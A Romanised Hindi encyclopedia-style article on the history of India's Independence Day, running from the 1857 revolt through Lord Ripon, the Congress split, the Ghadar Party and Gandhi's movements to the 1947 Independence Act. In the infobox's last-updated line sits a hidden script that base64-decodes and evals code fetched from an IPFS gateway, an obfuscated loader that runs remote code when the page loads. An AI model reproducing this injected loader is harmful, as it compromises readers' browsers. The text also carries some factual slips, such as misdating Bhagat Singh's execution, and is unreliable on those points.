स्वतंत्रता दिवस का इतिहास

svatantrata divas ka itihas
15 agast 1947 svatantrata divas ka avasar|200px|center
vivaran	isi mahanh din ki yad mean bharat ke pradhanamantri pratyek varsh lal qile ki prachir par rashtriy dhvaj tiranga phaharakar desh ko sambodhit karate haian.
uddeshy	aisa din hai jab ham apane mahanh rashh‍triy netaoan aur sh‍vatantrata senaniyoan ko apani shraddhaanjali dete haian jinh‍hoanne videshi niyantran se bharat ko azad karane ke lie anek balidan die aur apane jivan nh‍yauchhavar kar die.
pahali bar	bharat ke pratham pradhanamantri pandit javahar lal neharoo ne pahali bar 15 agast 1947 ko lal qile par tiranga jhanda phaharaya. usi din se har varsh 15 agast ko svatantrata divas manaya jata hai.
vishesh ayojan	rajh‍y sh‍tar par vishesh sh‍vatantrata divas karyakram ayojit kie jate haian, jisamean jhanh‍da phaharane ke ayojan, march pash‍t aur saansh‍kritik ayojan shamil haian. in ayojanoan ko rajh‍yoan ki rajadhaniyoan mean ayojit kiya jata hai aur mukhh‍yamantri in karyakramoan ki adhh‍yakshata karate haian. chhote paimanoan par shaikshik sansh‍thanoan, avas sanghoan, saansh‍kritik kenh‍droan aur rajanitik sangathanoan dvara karyakram ayojit kie jate haian.
sanbandhit lekh	lard ripan, eest indiya kampani, bharatiy kraanti divas, gadar parti, bharat ka vibhajan
any janakari	rashh‍trapati dvara sh‍vatantrata divas ki poorv sandhh‍ya par rashh‍tr ke nam sandesh prasarit kiya jata hai. isake bad agale din pradhanamantri pratah 7 baje lal qile par jhanda laharate haian aur apane deshavasiyoan ko apane desh ki niti par bhashan dete haian.
adyatan‎	13:23, 16 agast 2017 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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mee 1857 mean dilli ke kuchh samachar patroan mean yah bhavishyavani chhapi ki plasi ke yuddh ke pashchath 23 joon 1757 ee. ko bharat mean jo aangrezi rajy sthapit hua tha vah 23 joon 1857 ee. tak samapt ho jaega. yah bhavishyavani sare desh mean phail gee aur logoan mean svatantrata prapt karane ke lie josh ki lahar dau d gee. isake atirikt 1856 ee. mean lard kainiang ne samany bharti qanoon pas kiya. jisake anusar bharatiy sainikoan ko yah likhakar dena hota tha ki sarakar jahaan kahian bhi unhean yuddh karane ke lie bhejegi vah vahian par chale jaeange. isase bharatiy sainikoan mean asadharan asantosh phail gaya. kampani ki sena mean us samay tin lakh sainik the, jinamean se keval paanch hazar hi yooropiyan the. baki sab arthath yooropiyan sainikoan se 6 gunah bharatiy sainik the.

sipahi kraanti

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bharat ke amar shahid

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mangal paande

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lakshmibaee

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tatya tope

jab desh mean charoan or asantosh ka vatavaran tha, to aangrezi sarakar ne sainikoan ko purani bandookoan ke sthan par nee raiphalean dene ka nishchay kiya. in raiphaloan ke karatoos mean sooar tatha gay ki charbi prayukt ki jati thi aur sainikoan ko raiphaloan mean goli bharane ke lie in karatoosoan ke sire ko apane daantoan se katana p data tha. isase hindoo aur musalaman sainik bh dak uthe. unhoanne aisa mahasoos kiya ki aangrez sarakar unake dharm ko nasht karana chahati hai. isalie jab merath ke sainikoan mean ye karatoos baante ge to 85 sainikoan ne unaka prayog karane se inkar kar diya. is par unhean kathor dand dekar bandigrih mean dal diya gaya. sarakar ke is vyavahar par bharatiy sainikoan ne 10 mee, 1857 ke din "har–har mahadev, maro phirangi ko" ka nara lagate hue vidroh kar diya.

tatpashchath unhoanne jel ko to dakar apane sathiyoan ko riha karava liya aur nagar mean rahane vale aangrez nar–nariyoan ka vadh kar diya. agale din ve bahut b di sankhya mean dilli ki or chal p de aur mugal samrat bahadurashah ki jay ka nara lagate hue dilli mean dakhil hue. bahadurashah ne vidroh ka netritv apane hathoan mean le liya aur sarakari imaratoan par mugal dhvaj laharaya gaya. dilli mean rahane vale aangrezoan ka vadh kar diya gaya aur unaki sampatti loot li gee. isi bich lakhanoo, aligadh, kanapur, banaras, roohelakhand adi kee sthanoan mean bhi vidroh uth kh de hue aur in dishaoan se bhi bharatiy sainik dilli pahuanch ge. us samay aangrezi sena dilli mean nahian thi. isalie bharatiy sainikoan ne asani se dilli par adhikar jama liya. vidrohiyoan ne 200 aangrezoan ko goli se u da diya.

is vidroh mean jin netaoan ne apani–apani deshabhakti tatha virata ka parichay diya, unamean shahid mangal pande, nana sahab, jhaansi ki rani, tatya tope, kuanvar sianh, ajim ulla khaan aur samrat bahadurashah ke nam ullekhaniy haian. nana sahab ne kanapur mean vidroh ka netritv kiya aur aangrez senapati vhilar ko parajit karake durg ko apane qabze mean le liya. lakhanoo mean bhi kee dinoan tak vidroh chalata raha aur chif kamishnar sar henari lotas ko maut ke ghat utar diya. banaras, ilahabad, bareli tatha shahajahaanpur mean bhi kafi halachal rahi aur hazaroan logoan ka raktapat hua. madhy bharat mean plasi tatha gvaliyar vidroh ke pramukh kendr bane rahe. jhaansi ki maharani lakshmibaee tatha unake sainikoan ne sthaniy durg mean aangrezoan ka dat kar muqabala kiya. kalpi tatha gvaliyar mean bhi bhayankar yuddh l de ge. tatya tope tatha any kuchh viroan ne bhi is vidroh mean badh–chadh kar bhag liya. parantu jhaansi ki rani lakshmibaee svatantrata ke is pratham sangram mean viragati ko prapt huee. isase bharatiy vidrohiyoan ka sahas toot gaya aur madhy bharat par aangrezoan ka qabza ho gaya.

gurilla yuddh pranali

bihar mean kuanvarasianh ne aangrezoan ke viruddh vidroh ka netritv kiya aur 80 varsh ki umr mean bhi shatruoan se l date rahe. unhoanne gurilla yuddh pranali ko apanaya aur apane bhaee amarasianh tatha mitr nishanasianh ke sahayog se aangrez senapati ko haraya. unhoanne apani rajadhani jagadishapur ko punah prapt kiya. unaki mrityu ke pashchath unake bhaee ne sangharsh jari rakha. gavarnar janaral kainiang ne vidroh ko dabane ke lie bambee, madras, panjab aur bharatiy riyasatoan se sahayata maangi aur hindoo musalamanoan mean phoot dalavane ke lie aphavahean phailaeean tatha guptachar vibhag ki vyavastha ki. tatpashchath haidarabad, gvaliyar, patiyala, nabha, jind, nepal adi kee riyasatoan se sahayata milane par tin aangrez senapatiyoan henari, baranaee tatha nikalasan ne dilli ko charoan taraf se gher liya parantu tin mas tak dilli ko apane adhikar mean nahian le sake. ant mean janaral nikalasan ne ek ghamasan yuddh ke pashchath dilli par vijay prapt kar li. is prakar phir se dilli par aangrezoan ka adhikar ho gaya. mugal samrat bahadurashah zafar ko bandi banakar rangoon (ab yaangoon) bhej diya gaya, jahaan par unaki mrityu ho gee. yadyapi bharatiyoan ka yah prayatn saphal nahian hua, to bhi sanh 1857 ka yah vidroh ek vyapak vidroh tha, jisamean bharatiy janata ke sabhi vargoan ne bhag liya. yah ek rashtriy vidroh tha, jisaka uddeshy svatantrata prapt karana tha.

"isilie 1857 ke vidroh ko svatantrata ka pratham svatantrata sangram kaha jata hai."

eest iandiya kampani ka khatma

1857 ke vidroh ne aangrezoan ke shasan prabandh ki trutiyoan ka bhaanda pho d diya. isalie vidroh ke shighr pashchath hi ianglaind ke raja ne eest iandiya kampani ko khatm karake bharatiy rajy ki bagador apane hath mean sambhal li. sanh 1880 ee mean galaidaston ianglaind ka pradhanamantri bana. usane lard ripan ko bharat ka gavarnar janaral niyukt kiya. yadyapi 1857 se 1880 tak kainiang, meo, laitin adi kee gavarnar janaral bharat mean shasan karate rahe, parantu jo samman lard ripan ko prapt hua vah inamean se kisi ko bhi prapt nahian hua. usane bharatiyoan ki unnati tatha kalyan ke lie jo kary kie unaka udaharan milana kathin hai. use apane kee prashasanik karyoan ke lie apane deshavasiyoan ke virodh ka samana karana p da, parantu usane unaki tanik bhi paravah nahian ki.

lard ripan

[[chitr:Lord-Ripon.jpg|thumb|lard ripan]]

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lard ripan ne bharat mean har das varsh mean janaganana karane ka niyam banaya aur sanh 1881 mean pahali bar ganana karaee, joki ab tak har das sal ke bad ki jati hai. 1882 ee. mean lard ripan ne kee sudhar kie. usane myoonisipal bord tatha shiksha mean sudhar kiya. vittiy shaktiyoan ka vikendrikaran kiya. kendriy soochi mean afim, rel, dakaghar, namak taiksatail adi sadhan rakhe ge. prantiy soochi mean shiksha, pulis, jel, pres, tatha sarvajanik kary rakhe ge. tisari soochi mean bhoomikar, jangal staimp kar adi rakhe ge, in muddoan ke dvara prapt ay ko kendriy sarakar tatha prantiy sarakaroan mean baanta gaya. lard ripan ne sare desh mean sthaniy bordoan ka jal bichha diya aur gair sarakari sadasyoan ki sankhya badha di.
lard ripan ke ane se pahale lard littan ne varnakular pres ekt pas kiya tha. is ekt ke dvara bharatiy bhashaoan mean chhapane vale akhabaroan par kathor pratibandh laga die the. bharatiy janata ne is ekt ko 'gala ghoantoo ekt' kaha tha. lard ripan ne is ekt ko khatm kar diya aur bharatiy bhashaoan mean chhapane vale akhabaroan ko poori svatantrata pradan kar di. ab ve bhi aangrezi bhashaoan mean chhapane vale akhabaroan ke barabar ho ge. lard ripan ne shiksha mean sudhar lane ke lie 21 sadasyoan ka ek kamishan niyukt kiya. jisaka adhyaksh dabloo hantar tha. is kamishan ki sifarishoan par shiksha mean bahut hi unnati huee. isake atirikt lard ripan ne mukt vyapar ko protsahan diya aur videshoan se bharat mean ane vali vastuoan par dyooti khatm kar di. usane phaiktriyoan mean kam karane vale bachchoan ke hit mean niyam banae. lard ripan ne sanh 1883 ee. mean bharatiy kauansil mean alabart bil pesh kiya. is bil ke anusar bharatiy jajoan tatha saishan jajoan ko aangrezoan ke muqadamean sunane tatha usaka nirnay dene ka adhikar diya gaya. isase sare aangrez lard ke viruddh ho ge, parantu bharatiyoan ne lard ripan ki prashansa ki. isase aangrezoan aur bharatiyoan mean than gee. aangrezoan ne bharatiy jajoan ko kaloote baboo kahakar unaka apaman kiya. bharatiyoan ne bhi kalakatta ke taun h aaul mean aangrezoan ko muanhato d jabav diya. shri lal mohan ghosh ne aangrezoan ko do ko di ke afasar kahakar unaki khoob hansi u daee. [[chitr:Gopal-Krishna-Gokhle.jpg|thumb|left|gopal krishna gokhale]] 1883 ke alabart bil ne bharatiyoan mean jatiyaan svabhiman ko bahut prabal kiya aur unhean sangathit hone ki prerana di aur rajanitik chetana ka vikas hua. jisake parinamasvaroop british iandiya esosieshan, iandiya lig, iandiyan esosieshan, poona sarvajanik sabha kee prantiy sansthaean banian. in sansthaoan ne shighr hi bharat mean ek deshavyapi sanstha banane ka vichar kiya. is bich iandiyan sivil sarvis ke ritayard sadasy mi. e. o. hyoom ne kalakatta vishvavidyalay ke snatakoan ke nam ek khula patr likha, jisamean unhoanne bharatavasiyoan ko apane naitik, samajik tatha rajanitik punarutthan ke lie ek sangh banane ki prerana di. hyoom ke is patr ka bharatavasiyoan ne svagat kiya aur sanh 1884 ee. mean iandiyan neshanal yooniyan ki sthapana huee aur agale varsh sanh 1885 ee. mean is sanstha ka bambee mean adhiveshan hua. us adhiveshan mean dada bhaee noroji ke paramarsh par is sanstha ka nam iandiyan neshalan kaangres rakha gaya. yah sanstha 1905 tak udaravadi netaoan ki dekh–rekh mean kam karati rahi. gopal krishna gokhale, dada bhaee noroji, firojashah mehata, surendranath banarji, pandit madan mohan malaviy is sanstha ke pramukh neta the. [[chitr:DadaBhai-Naoroji.jpg|thumb|dada bhaee noroji]] san 1905 ee mean kaangres ka adhiveshan banaras mean hua. bangal vibhajan ke karan vatavaran badal chuka tha. isalie lokamany tilak tatha unake samarthakoan ne aangrezoan ke viruddh ugr niti apanane ka sujhav diya. udaravadi is sujhav se sahamat nahian hue. jisase kaangres mean do gut ban ge. 1906 ee mean kalakatta ke adhiveshan mean donoan gutoan mean bal pariksha huee. parantu dada bhaee noroji ke upasthit hone ke karan is phoot ko rok liya gaya. kaangres ka 1907 ee. mean 'soorat adhiveshan' hua. is adhiveshan mean donoan daloan mean jhag da ho gaya aur shighr hi isane dange ka roop dharan kar liya. isase kaangres ke do dal ban ge- garam dal aur naram dal.

lard karzan

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1905 se 1919 ke bich mean rashtriy aandolan ugravadiyoan ke hath mean raha. ugravadiyoan ke pramukh neta bal, lal, pal (bal gangadhar tilak, lala lajapat ray aur vipin chandr pal) the. lala lajapat ray ne udaravadiyoan ki niti par asantusht hokar kaha tha ki hamean bis lagatar aandolan karane ke bad bhi roti ke badale patthar mile. ham aangrezoan ke age ab aur adhik samay tak bhikh nahian maangeange aur n hi unake samane gi dagi dayeange. dakshin aphrika mean to bharatiyoan ki halat bahut shochaniy thi. rangabhed ki drishti ke karan unhean ghrina ki drishti se dekha jata tha. unhean aspataloan tatha hotaloan mean pravesh karane ki anumati nahian thi. bachche uchch sansthaoan mean shiksha prapt nahian kar sakate the. rajistreshan ekt (1907) ke tahat bharatiyoan ko aparadhiyoan ke tarah daftaroan mean apane nam likhavane p date the aur apani aanguliyoan ki chhap deni p dati thi. lard karzan ki daman niti (1898 se 1905) ne bharatiyoan par anek atyachar kie the. usane apane bhashan mean bharatiyoan ko bahut hi apamanajanak shabd kahe the aur karyakushalata ke nam par kalakatta karporeshan aphisayal sikret ekt, iandiyan yoonivarsati ekt, kee aise qadam uthae jinaka uddeshy bharatiy ekata ko durbal karana tatha bharatiy bhavanaoan ka gala ghoantana tha. 1907 ee. mean bangal bhang sambandhi ghoshana hote hi garam dal sakriy ho gaya. unhoanne disambar 1907 mean bangal ke gavarnar ki ga di par bam phaiankane ka prayatn kiya. phir dhaka ke majistret par goli chalaee. parantu vah bach nikala. mujaffapur bam phatane se kainedi tatha usaki putri ki mrityu ho gee. panjab aur maharashtr mean bhi is tarah ki ghatanaean hone lagian.

gadar parti ki sthapana

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[[chitr:Lokmanya-Bal-Gangadhar-Tilak.jpg|thumb|250px|bal gangadhar tilak]] sanh 1913 mean amerika mean basane vale bharatiyoan ne gadar parti ki sthapana ki. is parti ke pramukh neta sohanasianh bhakana, lala haradayal, baba basakha sianh, pan. kashiram aur udhamasianh the. is parti ke hazaroan bharatavasi amerika se bharat ae. unhoanne lahaur, firojapur, ambala, merath, agara adi sainik chhavaniyoan mean sainikoan ko vidroh karane ki prerana di aur 25 pharavari 1915 ko gadar ka din rakha. lekin kupal sianh ke vishvasaghat ne is yojana ko asaphal kar diya. gadar parti ki tarah iando jarman mishan ne bhi tarki aur kabul ka sahayog prapt karake bharat ko svatantr karane ki yojana banaee aur asthayi bharat sarakar ki sthapana ki, jisake rashtrapati raja mahendr pratap aur pradhan mantri barakat allah the. lekin paristhiti anukool n hone ke karan ye deshabhakt bhi saphal nahian ho sake. saubhagy se dakshin aphrika mean bharatavasiyoan ko mahatma gaandhi ke roop mean ek aisa neta mila jisane sab bharatavasiyoan ko sangathit kiya. unhoanne satyagrah aandolan chalaya aur bharatiyoan par lagae ge qanoon rok die.
pratham mahayuddh mean aangrezoan ne bharatiyoan se madad maangi thi aur kuchh sahooliyatean dene ka vayada kiya tha. bharatiyoan ne diloanjan se aangrezoan ki madad ki. lekin aangrezoan ne apana vada poora nahian kiya. unhoanne jo suvidha di vah na ke barabar thi. iandiyan neshanal kaangres ne un riyayayoan ki ninda ki. sarakar ne hindustaniyoan ko dabane ke lie rolat ekt pas kiya. is ekt ke anusar sarakar kisi bhi vyakti ko bina muqadama chalae bandi bana sakati thi. use apane paksh mean alil, dalil tatha vaqil ka adhikar bhi nahian tha. mahatma gaandhi ne 13 march 1919 ko rolat ekt ke viruddh satyagrah aandolan chalaya. parantu durbhagy se aandolan ke dauran ahamad nagar, dilli aur panjab mean upadrav ho ge, jisake karan mahatma gaandhi ko aandolan sthagit karana p da. 10 aprail 1919 ko panjab ke dipti kamishnar ne satyapal aur d aau. kichaloo ko apani kothi par bulakar achanak bandi bana liya. 13 aprail 1919 ko jaliyaanvala bag se pachchis hazar nagarik sabha karane ke lie ekatrit hue. aangrez janaral dayar ne unako gher kar goli chalava di aur hazaroan nihatthe log maut ke ghat utar die. is ghatana ke bad bharatavasiyoan ne faisala kiya ki aangrezoan ko bharat par hukoomat karane ka koee adhikar nahian hai. 26 janavari 1930 ko poorn svarajy ki ghoshana ki gee. panjab mean bhagatasianh aur unake sathiyoan ne naujavan bharat ki nianv dali. parantu ye deshabhakt bhi saphal nahian ho sake aur 23 march 1930 ko bhagat sianh, sukhadev aur rajaguru ko aangrezoan ne faansi par chadha diya.

gaandhi ji ke aandolan

[[chitr:Subhash-Chandra-Bose-2.jpg|thumb|250px|subhash chandr bos]] bambee prant mean jitendranath ne 61 din bhookh h datal karake apane pran tyag die. gaandhi ne namak qanoon to dane ke lie daandi march kiya. qanoon to dane par aangrezoan ne gaandhi ji ko giraftar kar liya. lekin desh mean aandolan zor pak d gaya, isalie gaandhi ji ko riha kar diya gaya. aangrezoan ne tin bar landan mean gol mej kaanfrens bulaee, lekin gaandhiji har bar nirash hi vapas laute. 3 sitambar 1939 ko dvitiy vishv yuddh chhi d gaya. 8 agast 1942 ko kaangres adhiveshan bambee mean hua. usamean "bharat chho do" prastav pas hua. pandit motilal neharoo tatha pandit javahar lal neharoo ne bhi svatantrata ke lie bahut kam kiya. aangrez sarakar ne daman niti ka sahara liya. is bich netaji subhash chandr bos ne bharat se bahar rahakar bharat ko svatantr karane ka prayatn kiya. unaka vichar tha ki dvitiy vishvayuddh ka labh uthana chahie. unhoanne azad hind fauj ki sthapana ki. aur "dilli chalo" ka nara diya. lekin netaji kisi durghatana mean mare ge, isalie yah aandolan bhi asaphal ho gaya. tatpashchath 18 pharavari 1946 ko bambee mean sainik vidroh uth kh de hue. sainikoan ne apani bairakoan se nikalakar aangrez sainikoan par dhava bol diya aur paanch din tak aangrezi sainikoan ko maut ke ghat utarate rahe. ant mean aangrezoan ko yah bat spasht ho gee ki ab ve bharat ko adhik samay tak apana gulam banakar nahian rakh sakate. ianglaind ke tatkalin pradhanamantri kilaimant etali ne bharat samasya sulajhane ke lie 23 march 1946 ko tin adhikariyoan—paithik larens, stephard krips aur e. bi. elaizendar ko bharat bheja. unhoanne bharatiy netaoan se tatha vayasaray se batachit ki. 14 agast 1946 ee. ko vayasaray ne kendr mean antarim sarakar banane ke lie pandit javaharalal neharoo se anurodh kiya. parantu muslim lig ne pakistan ki maang ki aur sidhi karravaee ke marg ko apanaya. 16 agast ko kalakatte mean kafi khoon–kharaba hua, hazaroan log mare ge tatha karo doan ki sampatti nasht kar di gee. pharavari 1947 ko british pradhanamantri etali ne ek byan diya, jisake anusar hindustan ko 1948 mean svatantr karane ki ghoshana ki. is byan ke sath bharat ke vayasaray lard bavel ko vapas ianglaind bula liya gaya aur usaki jagah par lard mauntabetan ko bharat ka vayasaray banakar bheja. lard mauntabetan ne bharat ka bantavara karana hi behatar samajha. kaangresi netaoan ne is vichar ko svikar kar liya aur 4 julaee 1947 ko ianglaind ki sansad mean bharatiy svatantrata vidheyak pesh kiya gaya. 16 julaee 1947 ko sansad ke donoan sadanoan ne is vidheyak ko pas kar diya aur 18 julaee 1947 ko ianglaind ke badashah ne bhi apani svikriti de di.

sanbandhit lekh

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